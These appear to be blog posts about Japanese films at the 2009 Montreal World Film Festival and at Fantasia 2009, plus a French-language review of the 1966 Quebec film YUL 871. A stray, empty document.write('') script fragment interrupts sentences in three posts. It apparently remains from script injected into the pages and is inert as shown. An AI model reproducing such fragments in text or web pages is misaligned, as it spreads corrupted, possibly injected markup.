It is really great to have in town an International Festival for the more classical and traditional type of movies. I do enjoy as well the youthful and exciting atmosphere of the Fantasia festival, but, as I am getting older, I realize that I enjoy far more the quiet experience of a movie where the talking and the scenery are the essential parts of the plot instead of the special effects and explosive action. Unfortunately, it seems that Fantasia is getting more and more popular and, due to it’s scheduling in late August and early September, the MWFF seems to attract less young viewers as we see mostly white and grey heads at the MWFF screenings. I have not seen any official attendance numbers (and there’s probably a reason for that), but it really seems that the MWFF has been beaten by Fantasia. However, is it really a bad thing? After all I don’t like to wait in long line, so the more quieter atmosphere around the MWFF suits me quite well. The festival has begun to get more governmental subsidies again and it was showing. There was more events and the show was running much smoothlier than the previous years.

All in all, the quality of the Japanese selection of the festival was quite good:

Be sure to share (Chanto Tsutaeru): When his father is hospitalised for a stomach cancer, Shiro’s is told by the doctor that he should have himself checked too. He soon discovers that he has a cancer ever worse than his father and ends up hoping that his father would die first to save him the pain of losing his son. Shiro never really bonded with his father, who was also his physical education teacher at school, but finds himself desperate to share with him more time and affection. Shiro faces also another dilema: should he tell his fiance that he will die soon? Director Sion Sono (who had gotten us used to crazier and more violent stories) is offering here a surprisingly beautiful and subtle movie. See also our full review.
Counterfeit (Nisesatsu): The postwar era was a difficult time for most Japanese as they found themselves strapped for cash. When Shingo propose to Kageko, his old school teacher, to make counterfeit money, she is reluctant at first but eventually succumb to the tentation of giving new books to her students. He then recruits the village chief, an old soldier who used to make false Chinese money for the government, as well as the village’s papermaker and photographer. Soon the entire village is part of the conspiracy, but all this cannot end well. Director Yuichi Kimura (Always: Sunset on 3rd Street) is bringing us another great postwar period movie which reflects, this time, on criminal motivation. See also our full review (link avail. soon).
Dear Doctor (Dia Dakuta): When Soma, freshly graduated from a Tokyo medical school, arrives in a remote mountain village to work as an intern, he is first bored and full of self-doubt. With time his attitude changes as he is inspired by the work of Osamu Ino, the local veteran doctor who manages to take care of the entire village by himself. However, one day, Dr. Ino disappears and, as Soma, the police and the villagers are looking for him, they realize that the doctor they loved so much is not who he said he was. Both funny and sometime sad, this excellent film uses the beautiful Japanese countryside as backdrop to reflect on the situation of rural Japan, where the population (made mostly of elderly) suffers from loneliness. They need less bureaucratic medecine (like it is practiced in the big cities hospitals) and more people to “care” for them (in all meanings of the word: provide medical support, give attention and affection). It also ask the question: is it alright to lie in order to do good?
Dear my love (60 sai no Love Letter): An anthology of three short stories based on the “Love Letters at Sixty” project that gathered over 80,000 letters “written by one spouse to another voicing unspoken appreciation for lives shared over the years.” A retired construction company executive decides to move out with a younger woman, but his wife comes to see this as a liberating experience. A couple who worked together all their life in their fish store are faced with grave health issues but find strenght in playing music of the Beatles. A widower finds, at the instigation of his daughter, a new life with a translator. Indeed, upon retirement, Japanese couples face many challenges. It’s an interesting subject but I found its treatment in the movie rather ordinary and disappointing.
The Faceless dead (Kouryo-Shibounin): Misaki is an aspiring writer who works in a supermarket. Through a strange phone call she learns that someone is usurping her identity. Who would use her name and why? The identity thief is unconscious and dying at the hospital—she will die the next day without providing any answers. To Misaki’s surprise she knows her from a previous job at a publishing company. A little investigating reveals that the identity of the hospital’s woman had also been stolen. Obsessed by the mystery she will skip work and follow the trail left by a chestnut lucky charm to the woman real identity and uncover an incredibly tragic story of love and betrayal which will bring her back to her starting point: the supermarket. This movie has all the elements for a good thriller, but the storytelling is weak and there’s a little something missing at the end that leave us on our appetite.
The Hovering blade (Samayou Yaiba): Having already lost his wife to cancer, Nagamine is devastated when his only daughter is raped and murdered by two young punks. Unfortunately, under the protection of the Japanese law, juvenile criminals cannot be prosecuted. Nagamine is infuriated by what he perceives as a gross injustice and would like nothing better than obtain retribution. He gets his chance when a sympathising policeman tips him on the boys’ whereabouts and sets out to hound them desparately… The movie is a good thriller and ends in a tragic twist. It brings strong emotions, but unfortunately that kind of story—sets around the injustice of the Japanese Juvenile Act—has been done many times already.
Villon’s wife (Viyon no Tsuma): Based on an Osamu Dazai’s quasi-autobiographical novel written in 1947, it tells the tangled love story of a married couple. Despite being a talented novelist, Otani is a tormented, drunken man who’s constantly getting in debts and unfaithful to his wife. Aware of his weakness and despressed, he will attempt to commit “double suicide” with one of his mistresses, but gets into trouble because she dies and he survives. In contrast, Sachi is a strong woman, a devoted and loyal wife who accepts Otani as he is and does her best to support him despite everything. She starts working in an izakaya (small bar also serving food) in order to pay off her husband’s debts. Her cheerful beauty makes her popular and she even gets several admirers. This gives her self-confidence, and yet she stays by him when he needs her. But for how long? The film offers a superb photography and director Negishi succeeds to paint a dreamy portrait of the harsh postwar Japan. Unfortunately, the storytelling is sometime awkward and left me with a dissatisfied impression. Surprisingly, Kichitaro Negishi won the WFF 2009 Award for Best Director.

Only two of those movies (Dear Doctor and Villon’s wife) were in official competition, but Villon’s wife managed to get the “Best Director” award (see the full list of awards).

My busy schedule prevented me to film a video of the programmation press conference but I could at least shoot a video of the Dear Doctor screening presentation and press conference (it will be added here as soon as I can manage to edit it).

We are grateful to the festival for bringing us this good selection and hope the 2010 edition will offer even more Japanese movies. See you next year!

[More information and links will be added when possible]

[Updated 2010/08/10 with a few corrections, links and new logos for some links]

YUL 871

/ Clodjee / 1 Comment

“Un ingénieur européen de passage à Montréal doit attendre deux jours un rendez-vous d’affaires. Pour tuer le temps, document.write(“”); il se promène dans les rues, et se met à la recherche de ses parents, dont la guerre l’a séparé dès l’âge de quatre ans. L’aventure s’amène sous les traits d’une fillette de onze ans et d’une jeune beauté. Rencontres de hasard qui, pourtant, le marquent et l’obligent à se définir.”
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Ce film est un bon exemple du cinéma Québécois des années soixante où l’on s’efforcait encore de courtiser le public Européen. Le choix d’un acteur Européen relativement connu et le fait que les acteurs locaux parlent avec un accent “Radio-Canada” en sont la preuve. Je trouve d’ailleurs fort heureux que des classiques de notre cinéma soient disponible ainsi sur Dvd (produit par DEP, le dvd ne semble pas disponible sur leur site, ni à la boutique de l’ONF mais l’est encore chez Archambault et Renaud-Bray) ou même par l’entremise de l’initiative Éléphant de Québécor ($2.99 via Illico-sur-Demande de Videotron, en HD de surcroit!). Pour ma part, je l’ai simplement emprunté à ma bibliothèque de quartier.

Classé drame psychologique, YUL 871 est un film plutôt contemplatif où il ne se passe pas grand chose—un peu comme les films Japonais ou les films Européens de l’époque. Le héros, de passage à Montréal, doit tuer le temps et fait quelques rencontres sans véritable conséquences (il déambule dans la ville avec une fillette qui finit à l’hopital, il a une aventure avec une belle blonde qui finit par en épouser un autre et il n’établit aucun liens avec les parents qu’il recherchait depuis son enfance). Si ce film n’est pas sans mérite (après tout il a remporté le prix de la meilleure réalisation au Festival International du Film de Chicago), il est toutefois parfois maladroit dans son montage (les transitions sont souvent terrible) et la post-synchro laisse vraiment à désirer. Chose amusante, l’actrice principale (Andrée Lachapelle) n’est même pas mentioné sur la couverture du Dvd alors que Jacques Desrosiers (qui ne fait qu’une brève apparition sans dialogue) lui l’est. Somme toute, c’est un beau film mais qui est un peu ennuyant. Toutefois la chance de voir Montréal telle qu’elle était dans les année soixante rends le visionnement de YUL 871 beaucoup plus intéressant.

Je dois cependant avouer que j’avais une intention bien précise quand j’ai emprunté ce film: mon père a participé au tournage en tant que technicien du son (le site internet de l’ONF mentionne soixante-dix films auxquels il a participé) et ma soeur ainée, Johanne, y a également un bref caméo auprès de Charles Denner.


Mon père à l’ONF, Ottawa, cir. 1950
Ma soeur Johanne avec Charles DennerYUL 871. Canada, 1966, B&W, 71 min.; Dir.: Jacques Godbout; Scr.: Jacques Godbout (dialogues par Jacques Languirand); Phot.: Georges Dufaux, Gilles Gascon; Ed.: Victor Jobin; Prod. Des.: Frédéric Back; Cost. Des.: Dinardo, Licha; Music: François Dompierre, Stéphane Venne; Sound: Claude Pelletier; Prod.: André Belleau; Cast: Charles Denner (Jean), Andrée Lachapelle (Marguerite), Paul Buissonneau (Antonio), Francine Landry (Fillette), Jean Duceppe. Rated G.

    
    YUL 871 © 2006 Office National du Film du Canada. Tous droits réservés.
La photo de mon père est tirée du documentaire NFB Pioneers: Michel Brault.

Montreal World Film Festival 2009

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In a press conference held on August 11, document.write(“”); the Montreal World Film Festival revealed the programmation for its 33rd edition. The festival will be held from August 27 to September 7 and will offer over 450 movies from 78 countries, including 240 feature-length films and 130 world premieres!

Unfortunately, this year is a slim pick for the Japanese movie aficionado as there are (so far) only seven movies and two documentaries being shown at the festival.

First of all, and most importantly, there are two movies in the “World Competition” category (COMP):

  • Dia Dokuta (Dear Doctor) directed by NISHIKAWA Miwa, 127 min. A much loved small town physician mysteriously disappears one day. It’s only while searching for him that his colleagues, friends and the townsfolk begin to discover exactly who their doctor is. (COMP) 9/2 9:00 CI.02.1; 9/2 21:30 TM.02.2; 9/3 13:40 CI.03.3. ( IMDb / Official website / Trailer )
  • Viyon no Tsuma (Villon’s Wife) directed by NEGISHI Kichitaro, 114 min. When her husband runs into financial trouble, Sachi obligingly goes to work in a restaurant to pay off his debt and discovers that she has value beyond being a housewife; she is now an independent woman. (COMP) 9/6 9:00 CI.06.1; 9/6 21:30 TM.06.2; 9/7 14:00 CI.07.2. ( IMDb / Official website )

There is one movie in the “First Films World Competition” category (PRE):

  • Nisesatsu (Counterfeit) directed by KIMURA Yuichi, 96 min. In 1950, in the chaos of postwar Japan, a young hustler has a plan to solve his school’s — and the village’s — financial problems: make fake 1,000 yen notes. (PRE) 9/5 13:00 L12.05.2; 9/5 19:20 L12.05.5; 9/6 14:40 L12.06.3; 9/7 21:30 L15.07.6. ( IMDb / AsianMediaWiki )

There is one movie in the “World Great” (Out of Competition / Hors Concours) category (HC):

  • 60 sai no Love Letter (Dear My Love) directed by FUKAGAWA Yoshihiro, 129 min. 86,441 love letters — mostly messages written by one spouse to another voicing unspoken appreciation for lives shared over the years — DEAR MY LOVE, examines the different situations of three particular couples. (HC) 9/1 18:40 L15.01.4; 9/2 12:10 L15.02.2; 9/3 14:40 L15.03.3. ( IMDb / Official website )

There are three movies in the “Focus on World Cinema” category (REG):

  • Chanto Tsutaeru (Be Sure to Share) directed by Sion Sono, 108 min. Shiro’s struggle with his father’s cancer and impending death leads to a realization that he must communicate his love and admiration for the man before it is too late. (REG) 8/28 19:20 L15.28.5; 8/29 11:40 L15.29.1; 8/30 10:00 L15.30.1; 8/31 19:30 L15.31.5. ( IMDb / Official website / Trailer )
  • Kouryo-Shibounin (The Faceless Dead) directed by Kishu Izuchi, 112 min. When a 24-year-old wannabe writer gets a call one day informing her that “Ms. Misaki Takigawa” has been hospitalized, she is puzzled: she is Misaki Takigawa. Why would anyone be using her name? (REG) 8/28 12:40 L10.28.2; 8/30 19:00 L10.30.5; 9/7 10:20 L10.07.1. ( Official website )
  • Samayou Yaiba (The Hovering Blade) directed by MASHIKO Shoichi, 122 min. When his only daughter is raped and killed by two youths, widower Hideki Nagamine is bitter and inconsolable. He knows they will be tried as juveniles and he is determined to exact revenge. (REG) 8/28 21:30 L15.28.6; 8/30 12:00 L13.30.2; 9/1 19:00 L11.01.2; 9/2 16:30 L11.02.3. ( IMDb / Official website / Trailer )

And there are two documentaries (DOC):

  • Eatrip directed by NOMURA Yuri, 78 min. For Yuri Nomura, who studied cooking, developed menus for restaurants and writes for culinary magazines, the way to people’s feelings is through their stomachs. (DOC) 8/29 12:10 L11.29.1; 8/29 19:20 L11.29.4; 8/30 14:30 L11.30.3. ( Official website / Trailer )
  • Grandmother, a short directed by KAWAMURA Yuki, 34 min. Masa, an 83-year-old Japanese grandmother, has just spent 50 days in a coma. Her family gathers to be with her through this difficult period. Her death is an opportunity to reflect on nature and the meaning of life. (DOC) 8/28 14:30 L16.28.3; 8/29 14:40 L10.29.3; 8/30 21:30 L10.30.6. ( Official website )

Unfortunately, I was so busy with work, various projects and the covering of other festivals that I missed the programmation press conference itself. So, I don’t have any pictures or video footage to show you. However, as usual (we’ve been covering the MWFF for ten years now!), we will do our best to screen all those movies and report on them (whether in the magazine — in print or digital edition — or on the web page or on my personal blog or a combination of those). We will also attend all the movie press conferences that we can.

In any case, as soon as we have new information I will update this entry (updated: 8/15, 8/21, 8/22, 8/23, 8/25, 8/26) or make new ones.

This calendar shows the schedule of the Japanese movies’ screenings.

Fantasia 2009

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In a press conference held on Monday June 29th Fantasia announced the highlights of its programmation:

The 13th edition of the Fantasia Film Festival, document.write(“”); North America’s largest genre cinema event, will be held from July 9th to July 29th, 2009 at Concordia University’s Hall Theatre in Montreal. This year the festival offers over 115 feature-length films, as well as an impressive selection of shorts, documentaries, panel discussions, outdoor screenings and more than fifty guests that will be there to introduce their movies. The programmation’s details will be available online for free and the Program Book will be on sale Friday July 3rd at the cost of $5. Tickets will be available from July 7th for $8.00 or $70 for 10 tickets. There are also 8 “Fantastic Week-End” programs (including 6 to 13 films) available for $8 each.

The programming offers over 50 Asian movies (including 35 from Japan, 15 from Korea, 6 from China/Hong Kong and 3 from Thailand).

This year the festival is a little weak on the anime side as it includes only four Japanese animated features: Eureka Seven: Good Night, Sleep Tight, Young Lovers (Dir.: Tomoyuki Kyoda), Evangelion: 1.0 You Are (Not) Alone (Dir.: Hideaki Anno), Genius Party Beyond (a shorts anthology by 4’C Studio) and Hells (Dir.: Yoshiki Yamakawa, Madhouse Studio). There’s also Cencoroll (a short shown with Genius Party Beyond).

The most interesting Japanese movies of the festival (interesting to us because they are anime & manga related) definitely are 20th Century Boys: Chapter One and 20th Century Boys: Chapter Two—The Last Hope (based on Naoki Urasawa’s manga and directed by Yukihiko Tsutsumi), M.W. (based on a manga by Osamu Tezuka and directed by Hitoshi Iwamoto) and Yatterman (based on Tatsunoko’s 1977-79 anime TV series Time Bokan 2: Yatt?man (or its 2008 remake); directed by Takashi Miike, it’s the opening film of the festival hosted by producer Yoshinori Chiba).

There’s also an anime & manga-related Korean movie: Antique (Dir.: Min Kyu-dong; based on the Japanese manga Antique Bakery by Fumi Yoshinaga).

The other Japanese movies includes Battle League in Kyoto (Dir.: Katsuhide Motoki, based on a fantasy novel by Manabu Makime), The Clone Returns Home (Dir.: Kanji Nakajima), Crime or Punishment?!? (Dir.: Keralino Sandorovich), Cyborg She (dir.: Kwak Jae-young), Fine, Totally Fine (Dir.: Yosuke Fujita), GS Wonderland (dir.: Ry?ichi Honda), Hard Revenge, Milly and Hard Revenge, Milly: Bloody Battle (hosted by writer/director Takanori Tsujimoto), House (Dir.: Nobuhiko Obayashi), Instant Swamp (Dir.: Satoshi Miki), K-20: Legend of the Mask (Dir.: Shimako Sato), Lalapipo (Dir.: Masayuki Miyano), Love Exposure (Dir.: Sion Sono), Nightmare Detective 2 (Dir.: Shinya Tsukamoto), Orochi (Dir.: Norio Tsurata), Paco and the Magic Book (Dir.: Tetsuya Nakashima), Samurai Princess (Dir.: Kengo Kaji), Tokyo OnlyPic 2008 (Dir.: Riichiro Mashima), Vampire Girl Vs Frankenstein Girl (Dir.: Naoyuki Tomomatsu & Yoshihiro Nishimura) and With Rain (a short shown as part of “Celluloid Experiments”).

The festival, in association with the Cinémathèque Québécoise and Ciné-Asie, also presents “Behind the Pink Curtain,” a line-up of Japanese erotic films (pinku eiga): Blue Film Woman (1969), Gushing Prayer (1971), S&M Hunter (1986), Secret Hot Spring Resort: Star Fish at Night (1970) and Yariman (2008).

Fantasia also presents a “Classic Daikaiju Special” that will include a documentary, Bringing Godzilla Down to Size: The Art of Japanese Special Effects, a short, Gehara the Dark and Long Haired Monster, and a classic monster movie, Mothra (1961)!

As part of its “Fantasia Under the Stars” segment, the festival will also presents outdoor screenings of Tokyo Zombie (Dir.: Sakichi Sato) on 7/17 and Adrift in Tokyo (Dir.: Satoshi Miki) on 7/18 at 21:00 in the Parc de la Paix (St-Laurent boulevard between Ste-Catherine’s and René-Lévesque).

Notable is the recent French documentary by Yves Montmayeur: Yakuza Eiga: Une Histoire Secrète du Cinéma Japonais (“Yakuza Eiga: A Secret History of Japanese Cinema”).

The Japanese guests list includes Yoshinori Chia (Yatterman producer), Tomohiro Hayashi (Yatterman producer), Yoshihiro Nishimura (Vampire Girl Vs Frankenstein Girl director), and Takanori Tsujimoto (Hard Revenge, Milly writer & director).

We will add more details as they are available (updated: 7/4, 7/5, 7/8).

View a calendar of the Japanese movies’ screenings.

Bon festival!